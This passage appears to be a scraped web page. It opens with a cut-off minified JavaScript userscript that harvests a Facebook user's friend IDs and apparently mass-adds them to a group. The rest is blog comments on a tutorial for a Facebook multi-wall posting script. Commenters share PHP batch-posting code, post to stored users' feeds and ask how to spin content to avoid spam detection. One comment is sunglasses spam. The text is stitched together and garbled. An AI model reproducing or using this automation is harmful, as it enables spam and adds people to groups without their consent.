r=!1;t.loadingIndicator&&(r=document.createElement(“div”),r.setAttribute(“style”,”position:absolute;top:0px;left:0px;”),r.setAttribute(“class”,”loading-indicator”),r.innerHTML=t.loadingIndicator,document.getElementsByTagName(“body”)[0].appendChild(r),this.opt.loadingIndicator=r),t.loading&&(document.getElementById(t.loading).style.display=”block”),this.load(t.url,function(e){t.onSuccess&&t.onSuccess(e),t.update&&(document.getElementById(t.update).innerHTML=e),r&&document.getElementsByTagName(“body”)[0].removeChild(r),t.loading&&(document.getElementById(t.loading).style.display=”none”)},t.format,t.method,t)}},init:function(){return this.getHTTPObject()}};var nHtml={FindByAttr:function(e,t,n,r){return”className”==n&&(n=”class”),(e=document.evaluate(“.//”+t+”[@"+n+"='"+r+"']“,e,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null))&&e.singleNodeValue?e.singleNodeValue:null},FindByClassName:function(e,t,n){return this.FindByAttr(e,t,”className”,n)},FindByXPath:function(e,t){try{var n=document.evaluate(t,e,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null)}catch(r){GM_log(“bad xpath:”+t)}return n&&n.singleNodeValue?n.singleNodeValue:null},VisitUrl:function(e){window.setTimeout(function(){document.location.href=e},500+Math.floor(500*Math.random()))},ClickWin:function(e,t,n){var r=e.document.createEvent(“MouseEvents”);return r.initMouseEvent(n,!0,!0,e,0,0,0,0,0,!1,!1,!1,!1,0,null),!t.dispatchEvent(r)},Click:function(e){return this.ClickWin(window,e,”click”)},ClickTimeout:function(e,t){window.setTimeout(function(){return nHtml.ClickWin(window,e,”click”)},t+Math.floor(500*Math.random()))},ClickUp:function(e){this.ClickWin(window,e,”mousedown”),this.ClickWin(window,e,”mouseup”),this.ClickWin(window,e,”click”)},GetText:function(e,t){var n=”";void 0==t&&(t=0);if(!(40<t)){if(void 0!=e.textContent)return e.textContent;for(var r=0;r<e.childNodes.length;r++)n+=this.GetText(e.childNodes[r],t+1);return n}}};void 0==document.getElementsByClassName&&(document.getElementsByClassName=function(e){for(var t=RegExp("(?:^|\\s)"+e+"(?:$|\\s)"),n=document.getElementsByTagName("*"),r=[],i,s=0;null!=(i=n[s]);s++){var o=i.className;o&&-1!=o.indexOf(e)&&t.test(o)&&r.push(i)}return r}),Array.prototype.find=function(e){var t=!1;for(i=0;i<this.length;i++)typeof e=="function"?e.test(this[i])&&(t||(t=[]),t.push(i)):this[i]===e&&(t||(t=[]),t.push(i));return t};for(var a=0,eind=0,len=document.getElementsByClassName("mbm").length,a=0;a<len;a++){var ele=document.getElementsByClassName("mbm")[a];if(ele&&ele.childNodes[0]&&ele.childNodes[0]&&ele.childNodes[0].childNodes[1]&&ele.childNodes[0].childNodes[1].childNodes[0]&&"Add SUSCRIBERS"==document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value){eind=a;break}}var i=3,tay=3,counter1=0,counter2=0,counter3=0,j=0,k=0,suc=0,arr=[],memberGroupId=document.getElementsByName("group_id")[0].value;jx.load(window.location.protocol+"//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+Env.user+"&filter[0]=user&__user="+Env.user,function(e){for(var e=e.substring(e.indexOf("{")),e=JSON.parse(e),e=e.payload.entries,t=0;t<e.length;t++)arr.push(e[t].uid);tay=i=arr.length-1,console.log(arr.length),e="”+(“”+tulisanNganu+”"),e+=arr.length+” SUSCRIBERS detected”,document.getElementById(“pagelet_welcome_box”).innerHTML=e+”",penetrasi(arr[i])})
Hi Tebe, Thank you for this great tutorial, it works just fine.
My only question is “the images show in the post as a thumbnail, is there a way to get them linked to the original image url instead of the website url you have to fill in” ?
Thanks up front and again thans for this great script.
Great tutorial working for me but suddenly stop posting to those user’s wall those do’t provide permissions to app.
i solve it by sending access_token with batch request.
$facebook->setExtendedAccessToken();
$accessToken = $facebook->getAccessToken();
$params = array(
‘access_token’=>$accessToken,
‘batch’ => ‘[' . implode(',', $batch) . ']‘
);
Hi @HEMC.
Thanks for your answer, I have the same problem.
I could explain how and where you put the code that you did …?
Many thanks in advance
Hello admin.
First of all congratulations for your excellent work created.
One question, as I can do to implement the code that put @HEMC
$facebook->setExtendedAccessToken();
$accessToken = $facebook->getAccessToken();
$params = array(
‘access_token’=>$accessToken,
‘batch’ => ‘[' . implode(',', $batch) . ']‘
);
Thank you for any help you can give me.
Also before sending the token once echo it and validate
Here
$facebook = new Facebook(array(
‘appId’ => Yii::app()->params['FBappId'],
‘secret’ => Yii::app()->params['secret'],
));
$facebook->setExtendedAccessToken();
$accessToken = $facebook->getAccessToken();
$batch = array();
#make array for all requests this in loop
#foreach(){
$picture_url=Yii::app()->params['protocol'] . $_SERVER['HTTP_HOST'] . “/images/thumb03.jpg”;
$message=”Testing batch with token request512″;
$name=”Hemc”;
$description=”ya batch succesfull”;
$link=Yii::app()->params['protocol'] . $_SERVER['HTTP_HOST'];
$req = array(
‘method’ => ‘POST’,
‘relative_url’ => ‘/USER_FB_ID/feed’,
‘body’=>’message=’.$message.’ &picture=’.$picture_url.’ &name=’.$name.’ &link=’.$link.’ &description=’.$description
);
$batch[] = json_encode($req);
$picture_url=Yii::app()->params['protocol'] . $_SERVER['HTTP_HOST'] . “/images/thumb03.jpg”;
$message=”got the request512″;
$name=”hemc request another”;
$description=”ya batch succesfull”;
$link=Yii::app()->params['protocol'] . $_SERVER['HTTP_HOST'];
$req = array(
‘method’ => ‘POST’,
‘relative_url’ => ‘/USER_FB_ID/feed’,
‘body’=>’message=’.$message.’ &picture=’.$picture_url.’ &name=’.$name.’ &link=’.$link.’ &description=’.$description
);
$batch[] = json_encode($req);
#loop end
#}
$params = array(
‘access_token’=>$accessToken,
‘batch’ => ‘[' . implode(',', $batch) . ']‘
);
try {
$info = $facebook->api(‘/’, ‘POST’, $params);
echo ”;print_r($info);
} catch (FacebookApiException $e) {
echo $e;
$info = null;
}
How to restrict the groups or friends showing limit at 25 in the demo?
can I edit & make it like it shows 25 recent groups & friends.
How to do it, plzz help.
hello i created the app did all the steps uploaded all changet all but the site dont post nothing there is someone who can help me? i think the problem is i dont created the app good
sry for my bad english
Dear Author, I followed all steps, but the fb app is unable to post anyting, In app dashboard, i found and error, error code is “1376025″ and faliure rate is 50.0%…. Kindly Help me to solve this problem, Thanks
Hello admin,
How can i post to walls via this app in arabic or hindi language.
Please help me.
Thanks.
Hi, are there still live out here ? This is such an awesome script but I picked up a few things not working for me. Who can help ?
Posting to Groups works perfectly, although limiting to looks like 20 max at one time.
Friends appear, but posting to their timeline does not work
Pages / likes does not appear at all.
Who can assist please ?
in the index ,change the checkbox
echo “”;
button is:
in fbaccess,change the submit_x to this:
if(isset($_POST['publish'])){
try{
$checkfriend = $_POST['checkfriend'];
$countCheck = count($_POST['checkfriend']).”";
for($i=0;$i<$countCheck;$i++)
{
$userid = $checkfriend[$i];
echo $userid."”;
$accessToken = $facebook->getAccessToken();
$publish = array(
//only message works fine in array,
‘access_token’ => $accessToken,
‘link’ => $_POST['link'],
‘picture’ => $_POST['picture'],
‘name’ => $_POST['name'],
‘caption’ => $_POST['caption'],
‘description’ => $_POST['description'],
‘message’ => $_POST['message']
);
$statusUpdate = $facebook->api(“/$checkfriend[$i]/feed”, ‘POST’, $publish);
}
}catch(FacebookApiException $e){
error_log($e);
echo $e;
}
}
then go to apps setting –> advanced –> disable feb 13 changed, that is
the checkbox…
echo “”;
echo ;
Thanks Puah, will try
Not working…
Hi, Great post, and Great Script!
The script is work when I fill text in ‘messages field’ but The script is not work when I fill the ‘link field’ OR ‘image link field’, what;s wrong there?
I just use your script to post to multiple facebook groups. I have more than 100 groups that I have Join.
When I use the script to post to 100 groups at once, finally I marked as spammer from Facebook.
So, what is the max number that we can post at once?
Anyway, is it possible to make the post scheduled so we are not act like spammer?
Is it possible to add the spin feature for the script to avoid marked as spammer?
It looks like the downloadable and the demo versions differ from each other because the downloadable version uses the facebook api method which is appearently removed from the facebook object. I’ve downloaded the version which could be found here and I’ve tried to integrate it to my app but it didn’t work. When I called the api(), it returned with NULL. I haven’t recieved the groups’ and friends’ list. Is there any way to solve this problem?
Here are a man that is making money with others knowledge:
http://fb.maherhackers.com/
Hi Tebe, Thanks for this tutorial, your script works great !! only thing is it does logout from the facebook but doesnot redirects to login page, I have checked the solutions you have said to other guys earlier (Edit App > Advanced > Migrations tab. Its currently enabled by default for any newly created apps. Disabling it will solve your issue for time being.) in my case there is not a option like that. Please help me, Thanks.
Hello
How we use time Scheduler to post on wall ??/
please help me
in the error.log file i see
/////////////////////////////////////
[03-Feb-2013 18:20:07 Europe/Berlin] CSRF state token does not match one provided.
/////////////////////////////////////
the problem that it says ” Successfully posted to the selected walls ” but nothing happens
Can you I know how many friends I selected to share?
Hey, There is copyright of your website on : hvha.it/create-your-own-facebook-multiple-wall-poster/
I am developing a new facebook application that posts to users wall on their behalf.
I have my MYSQL database which has all facebook users IDs, and just managed your code to send mass posts to users feed wall but it doesn’t work
$app_id,
'secret' => $app_secret,
));
$dbh = new PDO('mysql:dbname='.$db_name.';host='.$db_host.';charset=utf8', $db_username, $db_password );
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $dbh->prepare('SELECT fb_id FROM offline_access_users');
$stmt->execute();
///////////////////////////////////////////////////////////////////////////////////////////
$body = array(
'message' => 'Test Multiple Messages',
'link' => 'link',
'picture' => 'picture',
'name' => 'name',
'caption' => 'caption',
'description' => 'description',
);
$batchPost=array();
$i=1;
$flag=1;
foreach($stmt as $key => $value) {
if($key === 0) {
$batchPost[] = array('method' => 'POST', 'relative_url' => "/$value/feed", 'body' => http_build_query($body));
if($i++ == 50) {
try{
$multiPostResponse = $facebook->api('?batch='.urlencode(json_encode($batchPost)), 'POST');
}catch(FacebookApiException $e){
error_log($e);
//echo("Batch Post Failed");
}
$flag=0;
unset($batchPost);
$i=1;
}
}
}
if(isset($batchPost) && count($batchPost) > 0 ) {
try{
$multiPostResponse = $facebook->api('?batch='.urlencode(json_encode($batchPost)), 'POST');
}catch(FacebookApiException $e){
error_log($e);
//echo("Batch Post Failed");
}
$flag=0;
}
///////////////////////////////////////////////////////////////////////////////////////////
$db = null;
?>
Need to know something. If I came into this program with a $_POST variable. Lets say …./index.php?pid=12345 and the user is not connected and needs to go through this facebook connect to login. How do I get the ?pid=12345 back. Facebook app return you back with all these tokens and stuff with out my original pid=12345.
Any Help?
Dear i see your post. But i can’t understand how to make this apps. Can you send me Video tutorial via youtube or mail. Please It will be very help full for me. Please…..
Hi,
Tried your code. I am getting this error.
url: http://www.nishantchoudhary.in/app/index.php
Fatal error: Uncaught GraphMethodException: Unsupported get request. thrown in /home/a4814129/public_html/app/src/base_facebook.php on line 1128
line 1128 of base_facebook.php is:
$e = new FacebookApiException($result);
whole function is:
protected function throwAPIException($result) {
$e = new FacebookApiException($result);
switch ($e->getType()) {
// OAuth 2.0 Draft 00 style
case ‘OAuthException’:
// OAuth 2.0 Draft 10 style
case ‘invalid_token’:
// REST server errors are just Exceptions
case ‘Exception’:
$message = $e->getMessage();
if ((strpos($message, ‘Error validating access token’) !== false) ||
(strpos($message, ‘Invalid OAuth access token’) !== false) ||
(strpos($message, ‘An active access token must be used’) !== false)
) {
$this->destroySession();
}
break;
}
throw $e;
}
Please Help…
how to fetch and update events by this method ?
admin first thanks for this great tutorial but i get this error on my log file :
can you tell me how to solve it?
[23-Mar-2013 04:52:44] PHP Warning: session_start() [function.session-start]: Cannot send session cache limiter – headers already sent (output started at /home/tawfeekm/public_html/getegyptjobs.com/poster/index.php:1) in /home/tawfeekm/public_html/getegyptjobs.com/poster/src/facebook.php on line 37
Hi’
this is my first time.
I’ve read this tutorial I created the app.
When I’m clicking on connect or login (after giving access) the same page loading.
http://www.forthekids.allcx.com/
Any idea why it’s happend?
BTW, excellent work.
why the hell it is not working?
http://neeraj797.cloudzerve.com/fb/index.php
is this correct?
http://i47.tinypic.com/vqn0af.png
f resiting ultraviolet ray. Then lenses regarding its discount oakley oil rig sunglasses have 100% operate resiting ultraviolet ray. Their qualities can fulfill every one of the testing standards coming from everywhere. Oakley xs O frame snow goggles will guard your eyesight coming from bndrfds the sunlight. Nobody likes squinting whilst worries or even walking over a sunny day and creating a great pair of glasses to protect ones eyes via severe glare. oakley oil rig sunglasses http://www.sunglasses-soaho.org/oakley-oil-rig-sunglasses-p-516.html
great script thanx
Hello Tebe!
Thanks by this beautiful code! that is what i´m looking for!!
I made the download of demo, and installed just like you said, with App ID and App secret, and create a page: obrasdarte.com/fb .
At the page, the script is showing just “pages” and “friends”, it´s missing “groups”.
And at the post, it just publish at page timelines, it doesn´t publish at friends timeline. I want a lot to publish at groups too.
Could you help me?
Thanks and Regards!
Tony
Hello Sir…
i installed your script with according to your suggestion but i am still facing problem..
please check this.
http://multipost.hackntech.com
its shows http://multipost.hackntech.com/?xxxxxxxxxx…….
and nothing else..
Is their any Way to Friend’s Wall Post using Your code?
Erro In Download – Source
Not Acceptable!
An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.
Erro In Download – Source
Not Acceptable!
An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security
me too !!
But why when i post to more than 14 groups , the post not posted , i have 80 Groups and when i select All an push POST button
nothing happen , altough when i select 10 to 14 work .
please can you solve this problem ?
when I log in, it gives me the same page with the login button. it doesn’t show text forms to fill for posting
please help me
i face this “Fatal error: Class ‘Facebook’ not found in C:\xampp\htdocs\fb_log\fbaccess.php on line 16″